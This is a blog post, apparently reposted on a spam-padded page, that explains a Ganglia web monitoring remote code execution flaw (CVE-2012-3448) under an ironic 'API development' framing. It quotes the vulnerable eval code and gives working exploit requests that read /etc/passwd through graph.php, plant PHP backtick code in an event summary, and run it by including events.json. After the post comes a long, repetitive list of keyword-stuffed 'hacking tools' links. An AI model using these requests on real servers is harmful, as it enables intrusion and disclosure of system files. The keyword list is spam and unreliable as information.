Minggu, 23 Agustus 2020

Extending Your Ganglia Install With The Remote Code Execution API

Previously I had gone over a somewhat limited local file include in the Ganglia monitoring application (http://ganglia.info). The previous article can be found here -
http://console-cowboys.blogspot.com/2012/01/ganglia-monitoring-system-lfi.html

I recently grabbed the latest version of the Ganglia web application to take a look to see if this issue has been fixed and I was pleasantly surprised... github is over here -
https://github.com/ganglia/ganglia-web
Looking at the code the following (abbreviated "graph.php") sequence can be found -

$graph = isset($_GET["g"])  ?  sanitize ( $_GET["g"] )   : "metric";
....
$graph_arguments = NULL;
$pos = strpos($graph, ",");
$graph_arguments = substr($graph, $pos + 1);
....
eval('$graph_function($rrdtool_graph,' . $graph_arguments . ');');


I can only guess that this previous snippet of code was meant to be used as some sort of API put in place for remote developers, unfortunately it is slightly broken. For some reason when this API was being developed part of its interface was wrapped in the following function -

function sanitize ( $string ) {
  return  escapeshellcmd( clean_string( rawurldecode( $string ) ) ) ;
}


According the the PHP documentation -
Following characters are preceded by a backslash: #&;`|*?~<>^()[]{}$\, \x0A and \xFF. ' and " are escaped only if they are not paired. In Windows, all these characters plus % are replaced by a space instead.


This limitation of the API means we cannot simply pass in a function like eval, exec, system, or use backticks to create our Ganglia extension. Our only option is to use PHP functions that do not require "(" or ")" a quick look at the available options (http://www.php.net/manual/en/reserved.keywords.php) it looks like "include" would work nicely. An example API request that would help with administrative reporting follows:
http://192.168.18.157/gang/graph.php?g=cpu_report,include+'/etc/passwd'

Very helpful, we can get a nice report with a list of current system users. Reporting like this is a nice feature but what we really would like to do is create a new extension that allows us to execute system commands on the Ganglia system. After a brief examination of the application it was found that we can leverage some other functionality of the application to finalize our Ganglia extension. The "events" page allows for a Ganglia user to configure events in the system, I am not exactly sure what type of events you would configure, but I hope that I am invited.
As you can see in the screen shot I have marked the "Event Summary" with "php here". When creating our API extension event we will fill in this event with the command we wish to run, see the following example request -
http://192.168.18.157/gang/api/events.php?action=add&summary=<%3fphp+echo+`whoami`%3b+%3f>&start_time=07/01/2012%2000:00%20&end_time=07/02/2012%2000:00%20&host_regex=

This request will set up an "event" that will let everyone know who you are, that would be the friendly thing to do when attending an event. We can now go ahead and wire up our API call to attend our newly created event. Since we know that Ganglia keeps track of all planned events in the following location "/var/lib/ganglia/conf/events.json" lets go ahead and include this file in our API call - 
http://192.168.18.157/gang/graph.php?g=cpu_report,include+'/var/lib/ganglia/conf/events.json'


As you can see we have successfully made our API call and let everyone know at the "event" that our name is "www-data". From here I will leave the rest of the API development up to you. I hope this article will get you started on your Ganglia API development and you are able to implement whatever functionality your environment requires. Thanks for following along.

Update: This issue has been assigned CVE-2012-3448Related links
  1. Hacking Tools For Kali Linux
  2. Hacking Tools Online
  3. Hacking Tools 2019
  4. Pentest Tools Port Scanner
  5. Hacker
  6. Android Hack Tools Github
  7. Bluetooth Hacking Tools Kali
  8. Pentest Recon Tools
  9. Hack Tools Download
  10. Hacker
  11. Hacker Tools Hardware
  12. Hacker Tools For Ios
  13. Hacking Tools For Beginners
  14. Hacker Security Tools
  15. Pentest Tools Bluekeep
  16. How To Make Hacking Tools
  17. Hack Tools Github
  18. Hacker Tools For Pc
  19. Hack Tools
  20. Pentest Tools Url Fuzzer
  21. Black Hat Hacker Tools
  22. Hacking App
  23. Hacking Tools For Mac
  24. Hack Tool Apk No Root
  25. Pentest Recon Tools
  26. Beginner Hacker Tools
  27. Pentest Tools For Ubuntu
  28. Hacker Tools Software
  29. Hacking Tools For Windows
  30. Hacking Tools Mac
  31. Hacking Tools 2020
  32. Computer Hacker
  33. Pentest Reporting Tools
  34. Hack Tools
  35. Hacker Tool Kit
  36. Hacker Tools For Pc
  37. Hacker Tool Kit
  38. Black Hat Hacker Tools
  39. Hacker Tools Online
  40. Hacking Tools For Games
  41. Physical Pentest Tools
  42. Pentest Box Tools Download
  43. How To Install Pentest Tools In Ubuntu
  44. Hack Website Online Tool
  45. Best Hacking Tools 2020
  46. Pentest Recon Tools
  47. Hacking Tools Name
  48. Hackrf Tools
  49. Hacker Techniques Tools And Incident Handling
  50. What Are Hacking Tools
  51. Tools Used For Hacking
  52. Pentest Tools Alternative
  53. Hacker Tools List
  54. Hack Tool Apk No Root
  55. Hacker Tools Apk Download
  56. Hack Tools For Games
  57. Hacker Tools Free
  58. How To Hack
  59. Hack Tools For Mac
  60. Computer Hacker
  61. Pentest Tools
  62. Black Hat Hacker Tools
  63. Blackhat Hacker Tools
  64. Pentest Tools Windows
  65. New Hacker Tools
  66. Easy Hack Tools
  67. Hacker
  68. Hacking Tools And Software
  69. Nsa Hacker Tools
  70. Hacker
  71. Hacking Tools For Mac
  72. Hacking Tools For Pc
  73. Pentest Tools For Ubuntu
  74. Hacking Tools Usb
  75. Pentest Tools
  76. Github Hacking Tools
  77. Pentest Tools List
  78. Hacking Tools For Kali Linux
  79. Pentest Tools Windows
  80. Hacker Tools For Mac
  81. Hack Tools For Pc
  82. Pentest Tools Find Subdomains
  83. Ethical Hacker Tools
  84. Hacking Tools Name
  85. Hack Apps
  86. Pentest Automation Tools
  87. Hack Tools Github
  88. Hacking Tools Download
  89. How To Install Pentest Tools In Ubuntu
  90. Hacker Tools For Pc
  91. Hack Tools For Ubuntu
  92. Best Hacking Tools 2019
  93. Hacker Search Tools
  94. Hacker Tools Github
  95. Beginner Hacker Tools
  96. Hack Tools Pc
  97. Hacking Tools Download
  98. Tools 4 Hack
  99. Hacking Tools For Windows
  100. Hacker Tools Github
  101. Hacker Tools Free
  102. Hacking Tools Windows 10
  103. Hacker Tools List
  104. Beginner Hacker Tools
  105. Github Hacking Tools
  106. Hacker Security Tools
  107. Pentest Tools Website Vulnerability
  108. Pentest Tools For Mac
  109. Game Hacking
  110. Pentest Automation Tools
  111. Hacking Tools Download
  112. Pentest Tools Nmap
  113. Nsa Hacker Tools
  114. Hacking Tools Name
  115. Pentest Automation Tools
  116. Hacking Tools And Software
  117. Hacking Tools Mac
  118. Pentest Tools Review
  119. Growth Hacker Tools
  120. Hacker Tools Software
  121. Hacking Tools And Software
  122. Best Hacking Tools 2019
  123. Best Hacking Tools 2020
  124. Hacker Tools For Ios
  125. Hack Apps
  126. Hacking Tools Github
  127. Hacking Tools For Games
  128. Android Hack Tools Github
  129. Hacking Tools Mac
  130. Pentest Tools Github
  131. Black Hat Hacker Tools
  132. Hacking Tools For Pc
  133. Hacking Tools For Games
  134. Pentest Tools Windows
  135. Hack Tools For Mac
  136. Hack Tools Download
  137. Pentest Tools For Ubuntu
  138. Hacking App
  139. Hacking Tools Mac
  140. Hack Rom Tools
  141. Nsa Hack Tools Download
  142. Hacking Tools 2020
  143. Hack Tools Github
  144. Hack Tool Apk
  145. Pentest Tools Online
  146. Black Hat Hacker Tools
  147. Hacking Apps
  148. Pentest Tools For Ubuntu
  149. Hacker Search Tools
  150. Hacker Tools Free

Tidak ada komentar:

Posting Komentar